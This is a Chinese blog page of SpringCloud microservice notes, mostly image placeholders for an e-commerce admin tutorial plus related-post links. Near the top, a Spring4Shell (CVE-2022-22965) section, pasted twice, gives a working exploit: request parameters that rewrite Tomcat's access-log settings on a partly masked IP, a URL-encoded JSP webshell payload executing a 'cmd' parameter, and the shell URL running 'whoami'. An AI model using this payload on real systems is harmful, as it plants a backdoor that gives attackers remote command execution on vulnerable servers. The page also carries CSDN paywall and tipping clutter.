开发知识点-分布式微服务技术栈 SpringCloud

已于 2024-03-08 10:46:16 修改
阅读量2.8k 收藏 1
点赞数
分类专栏： 干中学 文章标签： spring cloud 分布式 微服务
于 2023-10-19 09:33:05 首次发布
amingMM
本文链接：https://blog.csdn.net/qq_33608000/article/details/133918875
版权
本文深入探讨了SpringCloud在分布式微服务架构中的应用，包括Eureka服务注册与发现、Ribbon负载均衡、Nacos配置管理、安全漏洞如Spring4Shell的分析与防范。同时，介绍了在企业级实战中，如何实现分页、搜索、增删改查等功能，并讲解了微服务架构的优缺点和选型，涉及Elasticsearch、Redis、MongoDB等分布式数据库的特性与应用场景。

摘要生成于 C知道 ，由 DeepSeek-R1 满血版支持， 前往体验 >

在这里插入图片描述

在这里插入图片描述

微服务技术栈

springRCE

`

SpEL是基于spring的一个表达式语言

https://www.secpulse.com/archives/148624.html


springshell





spring
artsploit

spring jolokia RCE

springcloud

spring-core-rce  CVE-2022-22965
2022年3月29日
由于 SerializationUtils#deserialize 基于 Java 的序列化机制，可导致远程代码执行 (RCE)，
使用Spring框架的  JDK9及以上版本皆有可能受到影响
可写入webshell以及命令执行

通过框架的参数绑定功能获取AccessLogValve对象并诸如恶意字段值，从而触发pipeline机制并写入任意路径下的文件。


利用条件
1、Apache Tomcat作为Servlet容器；
2、使用JDK9及以上版本的Spring MVC框架；
3、Spring框架以及衍生的框架
spring-beans-*.jar文件或者存在CachedIntrospectionResults.class


http://xxx.xxx.230.165:27379/?class.module.classLoader.resources.context.parent.pipeline.first.pattern=spring
http://xxx.xxx.230.165:27379/?class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp
http://xxx.xxx.230.165:27379/?class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT
http://xxx.xxx.230.165:27379/?class.module.classLoader.resources.context.parent.pipeline.first.prefix=shell
http://xxx.xxx.230.165:27379/?class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=

http://xxx.xxx.230.165:27379/?shell.jsp

访问地址http://xxx.xxx.230.165:27379/?class.module.classLoader.resources.context.parent.pipeline.first.pattern=spring

替换pattern后的内容为
%25%7Bc2%7Di%20if(%22t%22.equals(request.getParameter(%22pwd%22)))%7B%20java.io.InputStream%20in%20%3D%20%25%7Bc1%7Di.getRuntime().exec(request.getParameter(%22cmd%22)).getInputStream()%3B%20int%20a%20%3D%20-1%3B%20byte%5B%5D%20b%20%3D%20new%20byte%5B2048%5D%3B%20while((a%3Din.read(b))!%3D-1)%7B%20out.println(new%20String(b))%3B%20%7D%20%7D%20%25%7Bsuffix%7Di

suffix:%>//
c1:Runtime
c2:<%

在这里插入图片描述
出现OK后，就可以访问http://xxx.xxx.230.165:27379/shell.jsp?pwd=t&cmd=whoami，即可执行任意代码

在这里插入图片描述

springcloud

spring-core-rce  CVE-2022-22965
2022年3月29日
由于 SerializationUtils#deserialize 基于 Java 的序列化机制，可导致远程代码执行 (RCE)，
使用Spring框架的  JDK9及以上版本皆有可能受到影响
可写入webshell以及命令执行

通过框架的参数绑定功能获取AccessLogValve对象并诸如恶意字段值，从而触发pipeline机制并写入任意路径下的文件。


利用条件
1、Apache Tomcat作为Servlet容器；
2、使用JDK9及以上版本的Spring MVC框架；
3、Spring框架以及衍生的框架
spring-beans-*.jar文件或者存在CachedIntrospectionResults.class


http://xxx.xxx.230.165:27379/?class.module.classLoader.resources.context.parent.pipeline.first.pattern=spring
http://xxx.xxx.230.165:27379/?class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp
http://xxx.xxx.230.165:27379/?class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT
http://xxx.xxx.230.165:27379/?class.module.classLoader.resources.context.parent.pipeline.first.prefix=shell
http://xxx.xxx.230.165:27379/?class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=

http://xxx.xxx.230.165:27379/?shell.jsp

访问地址http://xxx.xxx.230.165:27379/?class.module.classLoader.resources.context.parent.pipeline.first.pattern=spring

替换pattern后的内容为
%25%7Bc2%7Di%20if(%22t%22.equals(request.getParameter(%22pwd%22)))%7B%20java.io.InputStream%20in%20%3D%20%25%7Bc1%7Di.getRuntime().exec(request.getParameter(%22cmd%22)).getInputStream()%3B%20int%20a%20%3D%20-1%3B%20byte%5B%5D%20b%20%3D%20new%20byte%5B2048%5D%3B%20while((a%3Din.read(b))!%3D-1)%7B%20out.println(new%20String(b))%3B%20%7D%20%7D%20%25%7Bsuffix%7Di

suffix:%>//
c1:Runtime
c2:<%

在这里插入图片描述

出现OK后，就可以访问http://xxx.xxx.230.165:27379/shell.jsp?pwd=t&cmd=whoami，即可执行任意代码
在这里插入图片描述

RCE

Spring4Shell（CVE-2022–22965）

CVE-2022-22965（Spring4Shell或SpringShell）是来自VMware的一种广泛使用的开源Java框架Spring Framework中的远程代码执行漏洞，

以上面提到的Log4Shell漏洞命名。
一旦攻击者实现了远程代码执行，就可以安装恶意软件，
或者利用受影响的服务器作为初始立足点，以提升权限，进而攻击整个系统。

用于部署加密货币挖矿软件，并且用在了使用臭名昭著的Mirai恶意软件的僵尸网络。

企业级实战——畅购商城SpringCloud-JAVA实战商城管理后台——分页实现

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

在这里插入图片描述
swaggerAPI
在这里插入图片描述
在这里插入图片描述在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述在这里插入图片描述

在这里插入图片描述
在这里插入图片描述

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述在这里插入图片描述在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

企业级实战——畅购商城SpringCloud-JAVA实战商城管理后台——条件搜索实现

在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述

在这里插入图片描述在这里插入图片描述

在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述在这里插入图片描述

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

企业级实战——畅购商城SpringCloud-JAVA实战商城管理后台——根据ID查询品牌实现，增加，删除，修改

在这里插入图片描述
在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述
在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述

在这里插入图片描述

在这里插入图片描述在这里插入图片描述
在这里插入图片描述
在这里插入图片描述在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

企业级实战——畅购商城SpringCloud-JAVA实战商城管理后台——查询所有品牌集合实现

在这里插入图片描述在这里插入图片描述 在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述
在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述

企业级实战——畅购商城SpringCloud-JAVA实战商城管理后台——商品微服务集成通用Mapper

在这里插入图片描述在这里插入图片描述在这里插入图片描述

在这里插入图片描述

在这里插入图片描述
在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述
在这里插入图片描述在这里插入图片描述

企业级实战——畅购商城SpringCloud-JAVA实战商城管理后台——数据库依赖包汇总工程搭建、商品微服务

在这里插入图片描述在这里插入图片描述

商品微服务

在这里插入图片描述在这里插入图片描述在这里插入图片描述
在这里插入图片描述在这里插入图片描述在这里插入图片描述
在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述
在这里插入图片描述在这里插入图片描述

在这里插入图片描述在这里插入图片描述

在这里插入图片描述

在这里插入图片描述在这里插入图片描述在这里插入图片描述
在这里插入图片描述在这里插入图片描述在这里插入图片描述
在这里插入图片描述
在这里插入图片描述在这里插入图片描述

在这里插入图片描述在这里插入图片描述

企业级实战——畅购商城SpringCloud-JAVA实战商城管理后台——工具工程搭建和工具类导入

在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述
在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述
在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述

企业级实战——畅购商城SpringCloud-JAVA实战商城管理后台——注册中心搭建

在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述

在这里插入图片描述在这里插入图片描述在这里插入图片描述

最低0.47元/天 解锁文章
博客
开发知识点-前端-微信小程序开发
04-27 462
　TP5+商城小程序——静态调用还是实例对象调用Apache详解 :QSA,PT,L,E参数的作用AOP 面向切面 编程思想 提取这样就完成了如下所示 空白自定义建立底部tar文件夹 不然会报错好了 根据状态bar 拉伸的小程序 bar 做好了顶部自定义准备好 后 我们导入我们小程序 万能美化包且完成我们顶部搜索模版大框且引入模版 准备测试效果额，，，emmmm~ 看到了 我们美化模板 的位置不怎么友好我们把他们的位置调整一下横纵都来一下。
博客
Android原生开发基础
04-27 555
发展历史 发行版本加载 布局模拟器 系统版本 getcolor对 服务器 传参 不一样。
博客
红队系列-网络安全知识锦囊-CTF(持续更新)
04-25 858
wireshark古典密码 现代密码学图片 视频 音频隐写photoshop攻击脚本writeup 官方 给的 解题思路web misc 密码学轮数限制 服务器 xxx掉混合模式 防守模式实战模式编码方式?id-2%df%df 只要 大于128 就可hackbar 用时尽量转码注入 语句 前缀。
博客
红队专题-漏洞挖掘-代码审计-反序列化
04-21 1947
TransformedMap⽤于对Java标准数据结构Map做⼀个修饰，被修饰过的Map在添加新的元素时，将可以执⾏⼀个回调。super(map);
博客
vue-i18n国际化多国语言
01-11 589
new实例的时候在这里面new比较好，不要去什么main.js里面new然后再挂载，因为在国家化的过程中，有很大概率在外部js中也有文字需要国际化，这时就没办法在外部js访问到国际化实例了。注意：uni.setLocale()方法需要在this.$i18n.locale切换语言之后再调用，否则app端会有问题，语言切换不能实时显示。如tabBar.home为首页tabbar对应的key，key后面的值代表当前的语言环境文字，中文环境下为“首页”，英文环境下为home，key命名的时候尽量语义化一点。
博客
MacBook_Xcode_Swift雨燕
01-03 831
其简洁语法、类型安全、Optionals处理、Playgrounds交互式环境、泛型编程、协议与扩展、闭包功能、枚举与关联值、结构体与类的高效内存管理、异步编程的async/await语法、Swift Package Manager依赖管理工具、SwiftUI声明式界面构建以及Combine响应式编程框架，共同构成了Swift的全面特性。Swift以其强大的功能和安全性提供了一个卓越的开发体验，并且随着技术发展，Swift将继续引入创新特性以提升开发效率和应用质量。作为Apple平台开发者的首选语言，
博客
前端基础-JavaScript/TypeScript语法
12-25 735
对象解构语法可以让你从一个对象中提取出若干属性，然后将其赋值给对应的变量，让代码看起来更简洁、易读。这在处理复杂的数据结构时尤为有用，例如从 API 返回的 JSON 数据中提取出需要的属性。字符串数组。使用解构赋值语法将数组的元素按照顺序依次赋值给对应的变量。不足元素，对应位置的变量将会被赋值为 undefined。
博客
CRYPTO密码学
12-15 1200
对称密码体制流密码分组密码。
博客
shellcode AV bypass Evasion免杀合集
12-13 1073
360全家桶360核晶引擎网防G01火绒百度腾讯安全狗金山瑞星江民 (iangMin)江民科技—终端安全守护者 官网 (jiangmin.com)Kaspersky 卡巴斯基针对于内存的查杀企业版易视诺德它是迄今作为先进杀毒技术———启发式杀毒（Heuristic），最具准确高效的杀毒软件，国外很权威的防病毒软件评测给了NOD32很高的分数，在全球共获得超过40多个奖项麦咖啡AVG科摩多火眼诺顿启发式查杀很厉害，需要给木马加入正常程序的图标、版
博客
恶意代码分析
12-09 1637
著名防火墙公司Palo Alto Networks近日在官网公布了一个CVE-2024-3400的漏洞信息，该漏洞存在于部分PAN-OS系统的GlobalProtect功能中，在某些配置打开的情况下，攻击者可以对运行该系统的设备进行未授权RCE，并且拿到系统的root权限。A5.这一恶意代码会使用高层API函数连接到一个远程的FTP服务器，我们可以下载并建立一个本地FTP服务器，并将DNS请求重定向至这一服务器，以充分分析该恶意代码。所以，其一旦广泛传播开便极难彻底清除。然后启动lab20-2.exe。
博客
前端框架-小程序uniApp
12-03 1117
获取集合Collection示例如下。nosql 非关系型数据库。
博客
web3去中心化
11-14 1003
以以太坊（Ethereum）为主流，也包括Solana、Aptos等其他非EVM链。区块链本身是软件，需要运行在一系列节点上，这些节点组成P2P网络或者半中心化网络。节点不仅负责接收新的输入并生成新的区块，还需要存储区块链运行时产生的所有数据，并负责同步、对外提供查询等RPC服务。
博客
项目技术栈-解决方案-注册中心
11-14 296
服务注册中心（Registry）：用于保存 RPC Server 的注册信息，当 RPC Server 节点发生变更时，Registry 会同步变更，RPC Client 感知后会刷新本地 内存中缓存的服务节点列表。服务提供者（RPC Server）：在启动时，向 Registry 注册自身服务，并向 Registry 定期发送心跳汇报存活状态。
博客
项目技术栈-解决方案-消息队列
11-14 1033
优选Kafka。
博客
微服务和VUE入门教程(16)： zuul 熔断
07-20 627
1. 前言在开发工程中，我们发现当一个微服务挂掉之后，如果我们访问此微服务的接口，zuul也会挂掉。因为zuul负责分配请求，当目标微服务挂掉之后，zuul便找不到目标微服务，因为我们需要设置一个熔断，即使寻找不到目标微服务，zuul也不会挂掉。比如我们停掉my-user微服务，然后访问其中的一个接口，zuul会出现以下错...
博客
PHP_CMS系统代码解析-wordpress
06-05 561
WordPress是使用PHP语言开发的博客平台，用户可以在支持PHP和MySQL数据库的服务器上架设属于自己的网站。也可以把 WordPress当作一个内容管理系统(CMS)来使用。模板基本文件使用模板通过函数的调用，让模板之间形成完整的整体。style.css : CSS(样式表)文件index.php : 主页模板archive.php : Archive/Category模板...
博客
机器学习与量化交易 分类任务
06-05 748
> Julyedu.com 感谢 白嫖的 七月在线 专注数据领域的在线教育01 自动化交易综述时间序列分析策略建模及其优化方法策略评价与回测风险管理交易策略的实现交易策略的执行BP(Back Proppagation)算法误差反向传播(Error Back Propagation, BP)算法。学习过程由信号的正向传播与误差的反向传播两个过程组成。Algorithmic Tra...
博客
vue-i18n国际化多国语言
06-03 553
uniapp是自带有i18n这个插件需要自己去给每一个需要国际化的字符去手动配置key，所以如果是已经完成的项目可能工作量就稍微有点大了第一步：语言命名是有规范的不能乱取名，具体可以参考国际语言代码https://blog.csdn.net/weixin_44988005/article/details/113826664https://blog.csdn.net/hcx_2008/a...
博客
雷池waf功能代码剖析
05-31 529
看到他们发文章​-动态防护功能？了解一下具体是什么功能就是处理了一下 html 和 js看一下雷池代码的 构成是 后台的代码Go 语言使用Gin框架启动一个API服务器...
博客
漏洞复现-H3C系列
03-15 1471
H3C用户自助服务平台是一种基于云计算和自动化技术的管理平台，旨在提供自助式、智能化的网络设备和服务管理解决方案。该平台通过集成多种功能和工具，帮助企业用户更高效地管理和维护其网络设备，并提供更好的用户体验。H3C用户自助服务平台dynamiccontent.properties.xhtml接口处存在命令执行漏洞，未经身份验证的攻击者可以利用此漏洞执行任意指令，写入后门文件，导致整个web服务器存在被控的风险。
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值